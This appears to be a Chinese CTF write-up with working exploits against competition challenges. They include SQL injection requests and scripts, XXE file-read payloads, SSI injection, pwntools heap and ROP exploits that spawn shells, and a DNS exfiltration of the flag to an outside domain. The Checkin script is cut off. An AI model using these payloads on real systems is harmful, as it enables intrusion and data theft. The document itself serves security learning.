Web

SimpleBBS

Error-based 注入,通过错误信息获得flag。

PoC如下:

curl -X POST \
  http://bbs.sec.zju.edu.cn/index.php/login/valid \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Postman-Token: 9a5f4151-4ff2-4366-bde2-94d3f0ff72a7' \
  -H 'cache-control: no-cache' \
  -d 'username=qweqwe'\''%20OR%20(SELECT%205979%20FROM(SELECT%20COUNT(*)%2CCONCAT(0x7176626271%2C(SELECT%20%0A%20flag%20from%20flag)%2C0x716b716b71%2CFLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)--%20fsUE&password=qweqwe&undefined='

EIS{7879f0a27d8bcfcff0bcc837d7641e81}

SimpleWasmReverse

strings 命令获得 flag.wasm 中的两个关键字符串 ABCDEFG.....aW9kan40NGgzOTNkNWZoNDtlOjloNmk1OThmNzk4O2dkPDRoZoA=,猜测是base64码表与编码后的flag,解码后长度为38,与WASM逆向后对字符串长度判断相符。

对wasm分析,其中_check函数中对输入字符存在逐个加3的操作,猜测为此方法处理flag,对获得的base64解码,逐位减3获得flag。

>>> for c in 'aW9kan40NGgzOTNkNWZoNDtlOjloNmk1OThmNzk4O2dkPDRoZoA='.decode('base64'):
...     print chr(ord(c)-3),
...
f l a g { 1 1 e 0 6 0 a 2 c e 1 8 b 7 6 e 3 f 2 6 5 c 4 6 5 8 d a 9 1 e c }

SimpleExtensionExplorerInjection

阅读源码发现UserController.java中解析参数时,使用了 @XBRead,则可解析XML并回显。

构造 XXE payload 获得flag。

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE name [  
   <!ELEMENT name ANY >
   <!ENTITY xxe SYSTEM "file:///flag" >
  ]>
<name>&xxe;</name>

SimplePrintEventLogger

SimpleExtensionExplorerInjection 中相同,使用XXE poc: file:/// 列出根目录,获取第二个flag的文件名,并读取。

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE name [  
   <!ELEMENT name ANY >
   <!ENTITY xxe SYSTEM "file:///" >
  ]>
<name>&xxe;</name>

EIS{f501e9c5323c560b0a40192ce9b7ad38}

SimpleServerInjection

出题人提示了SSI

https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection
http://httpd.apache.org/docs/current/howto/ssi.html

http://210.32.4.22/index.php?name=%3C%21--%23include%20virtual%3D%22flag%22%20--%3E

Simple Blog

二次注入

import requests
import time
import string

def sqli(payload):
    start_time = time.time()

    session = requests.Session()

    register_url = "http://210.32.4.20/register.php"
    data = {
        'username': payload,
        'password': "123"
    }
    session.post(register_url, data=data, allow_redirects=False)

    login_url = "http://210.32.4.20/login.php"
    session.post(login_url, data=data, allow_redirects=False)

    answer_url = "http://210.32.4.20/answer.php"
    data = {
        "1.b": "on"
    }
    http_content = session.post(answer_url, data=data, allow_redirects=False).content
    # print http_content[http_content.find('alert'):http_content.find('alert')+100]
    run_time = time.time() - start_time
    return run_time

sqli_payload = "dubhexxxdubhe5' or if(ord(substr((select flag from flag), %d, 1))=%d, sleep(0.005), 0) -- n"

flag = 'EIS{397ea47dcc07dd2abdffc5b16c9026f5}'

for i in range(50):
    for char in string.printable:
        payload = sqli_payload % (len(flag) + 1, ord(char))
        t = sqli(payload)
        print char, t
        if t > 1:
            flag += char
            print flag
            break

PWN

dns of melody

这题可以利用dns递归查询,来将flag传输到权威服务器上面(感谢Dlive师傅给的域名)

from pwn import *
import time
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

def call(r12, rdi, rsi ,rdx):
    shellcode = p64(0x4012AA) + p64(0) + p64(1) + p64(r12) + p64(rdx) + p64(rsi) + p64(rdi)
    shellcode += p64(0x401290) + p64(0) * 7
    return shellcode

def add(p, l, hostname):
    p.recvuntil('Select:\n')
    p.sendline('1')
    p.recvuntil('length: \n')
    p.sendline(str(l))
    p.sendline(hostname)

def do(p, index):
    p.recvuntil('Select:\n')
    p.sendline('2')
    p.recvuntil('index: \n')
    p.sendline(str(index))

def delete(p, index):
    p.recvuntil('Select:\n')
    p.sendline('3')
    p.recvuntil('index: \n')
    p.sendline(str(index))

def edit(p, index, data):
    p.recvuntil('Select:\n')
    p.sendline('4')
    p.recvuntil('index: \n')
    p.sendline(str(index))
    p.sendline(data)

def getflag(ip, port, debug, index):
    if debug == 1:
        p = process('./dns_of_melody')
        gdb.attach(p, 'b *0x401246\nc')
    else:
        p = remote(ip, port)
    add(p, 100, 'aaaaaaaaaaaaaaa')
    add(p, 100, 'a.zptvs7.ceye.io')
    add(p, 100, './flag')
    do(p, 0)
    p.recvuntil('Unknown host!')
    edit(p, 0, '\x00' * 0x1A0 + p64(0) + call(0x0601FE8, 0x602368, 0, 0) + call(0x601FB8, 0, 0x6021e4 - index, index + 1) + call(0x601FD0, 0x6021e4 - index, 0, 0))

    # p.interactive()

def GameStart(ip, port, debug):
    flag_len = 25
    getflag(ip, port, debug, flag_len - 1)
    # for i in range(flag_len):
    #   getflag(ip, port, debug, i)
    #   time.sleep(0.5)

if __name__ == '__main__':
    GameStart('210.32.4.15', 13374, 0)

hack

思路和pwnable.kr的unlink一致,通过修改栈上的值劫持栈帧(main函数ret前的逻辑)到堆上(堆地址已知)。利用两次泄漏可以获得libc的基地址和栈地址。

exp

# coding=utf-8
from pwn import *

def pwn():
    BIN_PATH = './hack'
    DEBUG = 0
    context.arch = 'i386'
    if DEBUG == 1:
        p = process(BIN_PATH)
        elf = ELF(BIN_PATH)
        context.log_level = 'debug'
        context.terminal = ['tmux', 'split', '-h']
        if context.arch == 'amd64':
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
            libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    else:
        p = remote('210.32.4.16', 13375)
        elf = ELF(BIN_PATH)
        libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')
        context.log_level = 'debug'

    p.recvuntil('input address: ')
    p.sendline(str(elf.got['puts']))
    p.recvuntil(str(elf.got['puts']) + ', ')
    recv = p.recvuntil('\n')
    libc.address = int(recv, 16) - libc.symbols['puts']
    print hex(libc.address)
    #gdb.attach(p, gdbscript='b *0x80486ff')
    p.recvuntil('Second chance: \n')
    p.sendline(str(libc.symbols['__environ']))
    p.recvuntil(', ')
    recv = p.recvuntil('\n')
    stack_address = int(recv, 16)
    print hex(stack_address)
    raw_input()
    p.recvuntil('The address of the node is ')
    recv = p.recvuntil(', ', drop=True)
    heap_addr = int(recv, 16)

    ecx_address = stack_address - (0xfff84ddc - 0xfff84d3c)
    target_address = stack_address - (0xffb3d93c - 0xffb3d884)
    print hex(ecx_address)

    if DEBUG == 1:
        one_gadget = [0x3ac5c, 0x3ac5e, 0x3ac62, 0x3ac69, 0x5fbc5, 0x5fbc6]
    else:
        one_gadget = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819]
    #payload = p32(heap_addr) + p32(heap_addr) + p32(heap_addr - 0xc) + p32(stack_address - 0x8)
    payload = p32(libc.address + one_gadget[3]) + p32(heap_addr + 12) + p32(heap_addr + 0x4) + p32(target_address - 0x8)
    p.recvuntil('fake node now: ')
    p.send(payload)

    p.interactive()
    p.close()


if __name__ == '__main__':
    pwn()

flag:EIS{d2954e2d38bf6b2ed3ebfead7bb6cd33}

justnote

堆溢出,在插入的时候,输入最小的负值可以造成堆溢出

from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

def add(p, lgth, note):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('note: ')
    p.sendline(str(lgth))
    p.recvuntil('note: ')
    p.sendline(note)

def delete(p, idx):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('note: ')
    p.sendline(str(idx))

def edit(p, idx, note):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('note: ')
    p.sendline(str(idx))
    p.recvuntil('note: ')
    p.sendline(note)

def HouseOfOrange(head_addr, system_addr, io_list_all_addr):
    exp = '/bin/sh'.ljust(8, '\x00') + p64(0x61) + p64(0) + p64(io_list_all_addr - 0x10)
    exp += p64(0) + p64(1) + p64(0) * 9 + p64(system_addr) + p64(0) * 4
    exp += p64(head_addr + 18 * 8) + p64(2) + p64(3) + p64(0) + p64(0xffffffffffffffff) + p64(0) * 2 + p64(head_addr + 12 * 8)
    return exp

def GameStart(ip, port, debug):
    if debug == 1:
        p = process('./justnote', env = {'LD_PRELOAD' : './libc6_2.23-0ubuntu10_amd64.so'})
        # gdb.attach(p)
    else:
        p = remote(ip, port)
    add(p, -9223372036854775808, 'hack by w1tcher')
    add(p, 100, 'hack by w1tcher')
    add(p, -9223372036854775808, 'hack by w1tcher')
    add(p, 100, 'hack by w1tcher')
    add(p, -9223372036854775808, 'hack by w1tcher')
    add(p, 100, 'hack by w1tcher')
    add(p, 100, 'hack by w1tcher')
    delete(p, 1)
    delete(p, 3)
    edit(p, 0, '\x00' * 0x108 + '\x13')
    add(p, 100, 'a' * 8)
    p.recvuntil('a' * 8)
    heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00'))
    log.info('heap addr is : ' + hex(heap_addr))
    edit(p, 2, '\x00' * 0x108 + '\x13')
    add(p, 100, '')
    p.recvuntil('out: ')
    libc_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x3c4b78
    log.info('libc addr is : ' + hex(libc_addr))

    delete(p, 5)
    edit(p, 4, '\x00' * 0x100 + HouseOfOrange(heap_addr + 0x110 * 2, libc_addr + 0x45390, libc_addr + 0x3c5520))

    p.recvuntil('choice: ')
    p.sendline('1')


    p.interactive()

if __name__ == '__main__':
    GameStart('210.32.4.17', 13376, 0)

RE

Hide and Seek

大佬发现是逐字节验证,侧信道打之

from pwn import *

table = '_abcdefghijklmnopqrstuvwxyz{} ABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`|~0123456789'

pin = '/home/echo/Tools/pin-3.5/pin'
binary = '/home/echo/1ctf/yws/hideandseek'
#binary = 'C:\\Users\\echo\\Desktop\\task\\rc4\\simple_rc4.exe'
dll = '/home/echo/Tools/pin-3.5/source/tools/ManualExamples/obj-intel64/inscount0.so'

def getCount(flag):    
    p = process([pin,'-t',dll,'--',binary])
    p.sendline(flag)
    p.recvline()
    p.recvline()
    base = int(p.recvline().split(' ')[1].strip('\r\n'))
    p.close()
    return base

# print getCount('1')
# print getCount('E')
# print getCount('EI')

# '''
ans = 'EIS{you_should_go_for_nascondino_world_c'
flag = list(ans)
for i in range(32):
    flag.append('\x00')
# print flag
# '''
base =  getCount(''.join(flag))

print flag
for j in range(len(ans),70):
    print '-------------------Round %d-------------'%j
    for i in table:
        flag[j] = i
        data =  getCount(''.join(flag))
        print i,data
        if data > base+100:
            print 'getc',i,''.join(flag)+i
            if i=='}':
                print ''.join(flag)
                exit(0)
            base = data
            break

print ''.join(flag)
# '''

flag : EIS{you_should_go_for_nascondino_world_championship}

Tailbone

隐藏了主要逻辑,pin追踪发现执行到了eh_frame的位置。

.eh_frame:0000000000400790 sub_400790 proc near
.eh_frame:0000000000400790 movaps  xmm0, xmmword ptr cs:flag
.eh_frame:0000000000400797 movaps  xmm1, xmmword ptr cs:flag+10h
.eh_frame:000000000040079E movaps  xmm2, xmmword ptr cs:_start
.eh_frame:00000000004007A5 movaps  xmm3, xmmword ptr cs:unk_400540
.eh_frame:00000000004007AC movaps  xmm4, xmmword ptr cs:unk_400550
.eh_frame:00000000004007B3 movaps  xmm5, xmmword ptr cs:deregister_tm_clones
.eh_frame:00000000004007BA movaps  xmm6, xmmword ptr cs:loc_400570
.eh_frame:00000000004007C1 movaps  xmm7, xmmword ptr cs:loc_400580
.eh_frame:00000000004007C8 movaps  xmm8, xmmword ptr cs:loc_400590
.eh_frame:00000000004007D0 movaps  xmm9, xmmword ptr cs:register_tm_clones
.eh_frame:00000000004007D8 aesenc  xmm0, xmm2
.eh_frame:00000000004007DD aesenc  xmm0, xmm3
.eh_frame:00000000004007E2 aesenc  xmm0, xmm4
.eh_frame:00000000004007E7 aesenc  xmm0, xmm5
.eh_frame:00000000004007EC aesenc  xmm1, xmm6
.eh_frame:00000000004007F1 aesenc  xmm1, xmm7
.eh_frame:00000000004007F6 aesenc  xmm1, xmm8
.eh_frame:00000000004007FC aesenc  xmm1, xmm9
.eh_frame:0000000000400802 movaps  xmmword ptr cs:flag, xmm0
.eh_frame:0000000000400809 movaps  xmmword ptr cs:flag+10h, xmm1
.eh_frame:0000000000400810 xor     rcx, rcx
.eh_frame:0000000000400813 lea     rdi, byte_400840
.eh_frame:000000000040081B lea     rsi, flag
.eh_frame:0000000000400822
.eh_frame:0000000000400822 loc_400822:                             ; CODE XREF: sub_400790+A5↓j
.eh_frame:0000000000400822 mov     al, [rdi+rcx]
.eh_frame:0000000000400825 cmp     al, [rsi+rcx]
.eh_frame:0000000000400828 jnz     flag_wrong
.eh_frame:000000000040082E inc     rcx
.eh_frame:0000000000400831 cmp     rcx, 20h
.eh_frame:0000000000400835 jnz     short loc_400822
.eh_frame:0000000000400837 jmp     flag_correct

追着aesenc调了半天aesdec,解密一直不对,不明觉厉,自己复现aesenc

AES_SubBytes(state);
AES_ShiftRows(state);
AES_MixColums(state);
AES_AddRoundKey(ekey+i*16, state);

验证发现结果正确,实现解密算法

AES_AddRoundKey(ekey+(7-i)*16, state+16);
AES_InvMixColums(state+16);
AES_InvShiftRows(state+16);
AES_InvSubBytes(state+16);

解密得到flag : eis{the_fact_beyond_the_future}

Misc

Checkin

切片获得字符,标注后脚本识别。

#nc 210.32.4.14 13373
import hashlib
import time

alphabet = {'a5b42b1a1110ce927bb044ce85fb79f00f373a67': '1', '3af9e778b44cd054b3f5b781e54c50aace6e35b4': 't', '74718b6ed09bf13f46c32a234fed88e8d10bd925': 'd', '082ae500cf64515a38a9955c04fc1d3a1811bfd3': 'c', '5ab8693b6200afad741ee53bfdcf266aa24dafbb': 'p', 'afc5e6adf5a9cc0b58e6ac7c178eae07df1b72b1': <
        

Hacking more

...